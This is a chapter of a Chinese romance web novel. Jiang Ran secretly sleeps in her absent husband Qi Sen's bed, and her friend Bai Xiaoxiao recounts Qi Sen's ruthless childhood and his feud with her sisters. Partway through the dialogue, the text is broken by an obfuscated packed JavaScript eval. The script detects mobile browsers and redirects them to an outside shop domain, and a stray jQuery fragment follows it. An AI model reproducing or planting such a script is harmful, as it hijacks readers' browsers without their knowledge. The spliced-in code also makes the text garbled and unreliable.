祁森一走就是半个月,江冉才感觉没有主人的别墅异常冷清。
如果不是赵子墨带白晓晓住进来,她有种独自一人在江家祖宅的感觉。
但直播结束,江冉洗漱完毕,躺在床上,总辗转反侧。她不得不悄悄起床,到祁森的房间。
她像恶魔附体了般爬上祁森的床,默默把祁森的被子拉到鼻子,才能安心睡去。她叮嘱自己一定要赶在赵子墨和白晓晓起床前回到自己房间。
可每次开门,都能碰着赵子墨。有时赵子墨开门出来,有时赵子墨正下楼转身看来,有时白晓晓打着哈欠和赵子墨一起出来。
第一次被撞见,是赵子墨正下楼。听到开门声,他转过的脸有些惊讶。但很快就了然的微笑:“早,老板夫人。”
江冉干巴巴回:“早,赵秘书。”她尽力自然,但脸颊仍火辣辣。
她感觉自己是个变态。祁森邀请她同床共枕,她极力推拒。祁森不在,她却一晚又一晚爬人家床。
她有逼自己决不能再做这样暧昧的事。暧昧?脑子里蹦出了这样的词,让她吃惊不已。
她不是没有见过暧昧的男男女女的关系。但大脑不加以评论,如今评判上了自己,让她羞愧不已。
她一面要祁森和她保持距离,要为他未来的妻子负责,一面趁人不在家钻人被窝。
她不是一开始就这样的。祁森走的第一晚,她照常直播,而后洗漱睡觉。躺到床上,她不知道为什么感觉世界空荡荡,周遭的空气异常冷飕飕。
明明都三月多了,春暖花开的季节。她裹紧被子,甚至把脑袋都包住,仍浑身发冷。
她感觉床在下坠,越坠越快,要坠入万丈深渊里的冰湖里才会停。她浑身发抖,想要一个和母亲一样温暖的怀抱。
母亲不在了。和母亲怀抱一样温暖的,只有祁森。
“阿森……”她呢喃,泪流满面。
这时,她听到心底有个声音在说:阿森在房间里。
她摇头。她知道他回国了。
她想给他打电话。但她知道不应该。
这时,祁森发来消息:【冉冉,我到天城了。你睡了吧?晚安,好梦。】
她盯着消息,好想回复:阿森,我睡不着。不知道为什么很想到你的房间去睡,我可不可以去?
她知道他一定会说好。
她关掉手机,没有回复。她静静躺在床上,睁着眼睛看黑暗的虚空,不知道自己为什么在流泪。
最终,心底的那个声音占了上风:睡得好,才能第二天照常直播,才能挣到钱,才能快点解放祁森,才是对祁森好。
她悄悄去了祁森的房间。神奇的是,一钻进祁森的被窝,闻到木质沉香,她就像被催眠了般入梦。
梦里,她窝在祁森宽阔的臂弯里,温暖又安心。
俗话说,凡事有了第一次,就会有第二次。第二次,就变得顺理成章。
反正都偷偷睡了第一次,反正都被赵子墨发现了,反正赵子墨肯定会和祁森说。说就说了,就说自己有失眠症。
那为什么要到祁森的床才能睡?之前不是没有吗?
反正她也不知道,要批要讽都没关系。挣够钱,才是最重要的。
每次都给自己洗脑一遍,江冉不再纠结为什么非得在祁森床上才能睡着。面对白晓晓的询问,她也脸不红心不跳了。
“冉冉,你昨晚睡这间房吗?”白晓晓贼兮兮地往祁森房间瞅。
江冉点头,不知道她在看什么。房门大开着,就她一个人而已。
白晓晓似乎确定了房间里没人,走进说:“冉冉,我其实有一个问题很想问,但有点怕祁大哥骂我。”
“你现在可以问,他不在。”
“他不在也好吓人,我们去你房间说吧?”
到了江冉房间,白晓晓自在多了。坐到梳妆台的凳子上,她说:“你真的和祁森结婚了?我是听子墨说的,但我一直不相信。可是,祁森对你确实不一样,他对你很好很好。”
“不是只对我,阿森对所有人都很好的。我也很想问你为什么怕他?”
“不是我一个人怕。”白晓晓似乎又怕了,坐到床尾,和江冉挨着,好似祁森会突然出现一样挽着江冉胳膊。“真的,大家都怕。”
江冉瞅瞅她挽紧的手说:“你肯定误会了,赵秘书也不怕。”
“子墨和他是好朋友,所以才好点。”
原来是好朋友吗?“你知道阿森的事情吗?”
“知道知道,”白晓晓用力点头,“天城人都知道。尤其北面。你是因为住在南边,消息可能会延迟。”
“你能和我说说吗?”江冉感觉不该问,但不知为什么就是想知道,就像肚子饿了很想吃饭一样不受控制。
“祁森小时候就是霸王。”白晓晓道,“每个人小时候多多少少会被欺负,祁森却一次没有。只要跟着他,也不会被欺负。”
“祁家家大业大,没人敢欺负很正常。”
“不是不是,大家都是小孩子。小孩子哪里会懂大人世界的规则。他从小就凶,听子墨说不是没人不想欺负他,是第一个欺负他的人,真被他拧断手了。”
“那不应该吗?总不能等别人来打断自己的手吧?”
“不不,不是这样。是他拧断了,又给人接回去了。”
江冉一时消化不了,等着白晓晓继续说。
“就这样。”白晓晓抓住江冉的手,轻轻一拉,又轻轻一推,“咔哒,咔哒。”
腕骨轻轻伸展又回缩,江冉道:“是不小心拽骨折了?”
“不不。”白晓晓起身,“冉冉,你来推我一下。”
江冉也起身,轻轻推白晓晓指着的肩膀。白晓晓抓住她手,学男生的低沉嗓音说:“手不想要,你可以说。”又让江冉推,“用点力,冉冉。子墨说当时对方用了很大力。”
白晓晓边说边扎马步。江冉用了点力,但也就用了10%的力气。
“啊,冉冉,你太温柔了啦。”白晓晓笑呵呵,“当时对方可用了十足的力,但祁森稳如老狗。他不用扎马步,也稳。对方还推,他抓住人手警告。那人不知怎么地就那么胆大,还敢使劲。祁森就掐住人脖子,把人手一拉。咔哒,那么一下。”
江冉能感觉到那欺负的人定万分后悔,光想想都觉得疼。
“那人疼得面色都白了,但哭不出来,因为祁森掐着他的脖子。祁森问那人手还要不要?那人点头,他抓住那人垂下来的手腕咔哒一下又给接回去了。那人动了动手,发现好好的能用,哇一下哭出来了。”
江冉猜那人定是要去老师那告状的。恶人先告状,大都如此。
“那人哭着说要告老师,祁森说等会放学拉着他的手一起回家,那人就嚎啕大哭。老师来问,那人只哭。老师问祁森,祁森说他想放学的时候和我手拉手回家,我不愿意,他就哭了。”白晓晓说得哈哈笑,“坏吧?很坏吧?”
江冉笑着猜那时的祁森大概读小学。
“对,还只是小学三年级。可怕吧?”白晓晓抖抖身,挽着江冉坐回床,“到五六年级,就是京城一小的校霸了,连初中部的都知道他的名号,来约架。但等子墨带小学部老师赶到,初中部的几人都跪在地上哭。”
江冉心想祁森从小人高马大,初中生也不一定能打得过他。但以一对多,还能取胜,必定智取。
“老师们都惊呆了,”白晓晓有些眉飞色舞,“左右看看没初中部的老师,赶紧把祁森围在中间给带回小学部。
班主任问祁森为什么打架?祁森说没打架,他说不知道为什么那些人要跪下,好像是要让他回去求他爸别收购他们家公司。”
白晓晓说着又一抖,“冉冉,你老公不是一般人,他从小手段就厉害。”
江冉微笑说:“你家子墨也很厉害,他是祁森的第一个好朋友。”
说完,两女生都一愣。面颊悄悄爬红晕,两人默默把脸转向一边,看墙纸上的金丝花纹。
江冉镇定道:“我是说你为什么会怕祁森。你和我同龄,并不和祁森同过学校。”
“我是因为,”白晓晓红了脸,“因为……你听说过我姐姐吗?”
江冉摇头。她并不关注天城的大家族,尤其是北面,前京圈延续下来的豪门贵族。
“我有姐姐和祁森小学、初中都同校,她们告诉我看见祁森要远离。因为他会整人。但子墨说祁森不可怕,我就没信我姐姐。”
白晓晓抿抿嘴,继续说,“后来,子墨常常来我学校等我,他已经大学了,我还在初中。有一次,被下班来接我的大姐看见了。
那天,我没能和子墨一起回去,后来我三个姐姐轮流来接我,我就再不能和子墨一起回去了。”
江冉一脸你们那么早就在一起了的吃惊表情。
“当然没有。那时候,我把子墨当哥哥。他也把我当妹妹。我们家在一个小区,祁森也和我们一个小区。但我在那之前没近距离见过祁森,大家上学都坐车,很难见上面。
没法和子墨一起回家后,有一天我很想见见子墨哥哥,就偷偷打电话给他,让他周末来我家。那个周末姐姐们都不在家。子墨来了,祁森也来了。”
白晓晓回忆那天的可怕事,一一告诉江冉。
原来赵子墨和祁森到白家祖宅没一会,三位姐姐相继回来,刚好和正出门准备去游玩的他们撞上。
白家姐姐们把赵子墨和祁森团团围住。“好啊,混小子,主意敢打到我妹妹身上了?熊心豹子胆都没你们胆大。”
祁森一开始不说话,只听赵子墨极力解释不清。白晓晓在旁想解释,却一说话就被姐姐们瞪眼打断。
不知是不是听烦了,还是自己好朋友被女人骂到下风,祁森嗤笑道:“都说白家女儿男人婆我一直不信,今日一见,才知传闻用词不当。”
白家姐姐的炮火立马对准了祁森,说他为虎作伥会没有老婆。
祁森看一眼白晓晓,玩世不恭的桃花眼忽然黑沉沉。“我要没老婆,你们全老黄花了也没人来提亲。”
白家姐姐们都气红了脸,只把祁森团团围住,戳着他脑门骂他小兔崽子。祁森让戳让骂,偶尔回一句,却能把姐姐们气到要背过气去。
白家姐姐拿出撒手锏。三姐说:“大姐,你别拦我,我一定要去他学校,举报他们调戏初中生!”
“那我就给媒体说你调戏赵子墨。”祁森不疾不徐。
“我什么时候调你们这些小屁孩了!”三姐吼破了音。
二姐忙安慰:“三妹别和小屁孩计较,还穿尿不湿就想谈恋爱,整天不务正业,没点男人样子。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17682020|205353||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
祁森瞥一眼二姐说:“我确实年轻,你确实未老先黄。”
二姐美丽的脸气到惨白,嘴巴都哆嗦了。
最冷静的大姐出马了:“本想不和小孩子计较,今天这事,只能告诉祁叔了。”
祁森“切”一声道:“告家长有用,我也和白叔白姨说说嫁女儿要趁早,人老珠黄可是要嫁老男人的。到时候,女婿和自个一般大,白叔白姨头发都要气白。”
二姐三姐气得要扯祁森的头发,被大姐叫住。她笑道:“祁叔心心念念儿子长大了能继承家业,哪料早恋害人。赵子墨游手好闲招惹晓晓,你不该来,你却来了,让我猜猜,你的心上人也和晓晓这般大吧?”
白家大姐毕竟游刃商圈多年,才上大学的祁森多少稚嫩,露了被戳中的怒气。
大姐继续说:“好女孩不可能喜欢游手好闲之辈,你这般怠慢学业,是亲手将她推给别人。”
话落,祁森无所畏惧的脸忽然阴云密布,白晓晓感觉他会打人,吓得哭出来。
“是我打电话让他们来的……”她哭着说。
那天以白晓晓的哭声告终。赵子墨想安慰,但被围住白晓晓的姐姐们轰走。祁森黑着脸走了,赵子墨赶紧去追好友。
大家都以为这事到此为止了。直到白家大姐不断传出桃色新闻后的一天,白晓晓听到大姐在父亲书房挨骂,才知桃色新闻出自祁森之手。
倔强的大姐死也不去找祁森道歉:“我多大的人了,去找一小屁孩求和?不就几个绯闻,成年人谁不谈恋爱了,没什么好在意的。”
父亲大发雷霆:“你倒是给我真谈一个回来?看看都是什么货色,你是不知道这些都是浪荡子吗?和这些人挨上关系,和掉进粪坑有什么区别?”
后来,白晓晓听到二姐三姐到大姐书房商量对策。大姐坚决不肯找祁森讲和:“我要去找一个小屁孩了,白家以后还有什么脸立足?”
“妈的,就是小屁孩难对付。”二姐气得挥拳,“一点不讲规矩,只是擦肩而过,也能被大做文章。”
“但大姐一直被造桃花,会败坏白家名声,小妹在学校可能会不好受。”三姐道。
大姐点燃一根细香烟,抽一口说:“对小孩子出手,不是大人所为。”
“那哪是小孩子,都比我们还高。”
“怎么说都是学生。未步入社会,都算孩子。”
“那怎么办?大姐当真要去道歉。”
大姐对着窗外的夜色,吐出一口烟说:“小孩需要道歉才肯原谅。”
“那我去。”二姐说。
“还是我去比较好,”三姐说,“免得小孩子专挑女人的年龄说话。我毕竟还是个学生,就算马上毕业,也算同龄人,他没得说。”
那夜,白晓晓辗转反侧,深更半夜爬起来悄悄给赵子墨打电话。她无法让姐姐们去道歉。一切都因她而起,她应该去解决。
但她害怕,一点也不敢独自去见祁森。
赵子墨很快来到别墅后门,接上偷偷出来的白晓晓,去往祁森家。
两人到的时候,祁森站门外几十米远的路灯下。他双手插兜,俯视白晓晓。背对路灯的脸,恶魔般面无表情。
面对凶神恶煞的阴影脸,白晓晓准备了好几遍的道歉稿一个字也想不出来。
“大半夜叫我出来看你们谈恋爱?”祁森一脸不耐烦,阴影脸就扭曲成怪物模样。
白晓晓惧怕不已。她当时还没开窍情爱,只觉自己好不容易拜托赵子墨联系祁森出来,却又道歉不出,让人更生气,姐姐们会更遭殃。
她越急越说不出话。祁森已经打着哈欠往回走:“赵子墨你再半夜打我电话,绝交。”
白晓晓一听还连累了赵子墨,急得哭。越哭越说不出话,大哭起来。
寂静的夜,孩子的哭声尤为响亮。就见祁家大宅亮了灯。紧接着,小坡下传来汽车轰鸣。
祁森一见车,二话不说就往宅子跑。还没跑到门口,如黑夜猎豹的轿车先一步到了。
加班回来的祁渊从后座下来,二话不说一个爆栗子敲上祁森脑门,而后走向哭到岔气的白晓晓。
赵子墨瞅瞅捂脑门瞪白晓晓的祁森,解释道:“叔,抱歉,打扰了。是晓晓代姐姐有点事找祁森,她只是想到了伤心事,和祁森没关系。”
“我看关系大着。还有你,深更半夜出来你爸知道吗?”
赵子墨抿嘴。
“祁叔,是,是我,是我呜呜……”白晓晓说不利索,又急得哭。
祁渊笑道:“不站外边吹冷风,到屋里说。”
就要进屋,忽然又一辆黑车疾驰而来。白家大姐下车来,对祁渊鞠一躬道:“叔,小妹打扰了,我这就带她回去。”
“不,我不要回去,呜呜……”白晓晓跑到祁渊身后。
最后,大家都进屋。祁渊不听谁的解释,只让白晓晓说。等她说完事情的来龙去脉,祁森挨了好一顿批。
总结两句话就是:能耐了会整人了?这么能耐,怎么不帮我加班呢?
第二天,关于白家大姐的桃色新闻全部消失。白家姐姐和祁森的“恩怨”就此落幕。
但白晓晓忘不掉祁森被批那夜要吃人的凶相。
江冉听得陷入沉思:原来祁森的心上人如她这般大,怪不得对她格外温柔。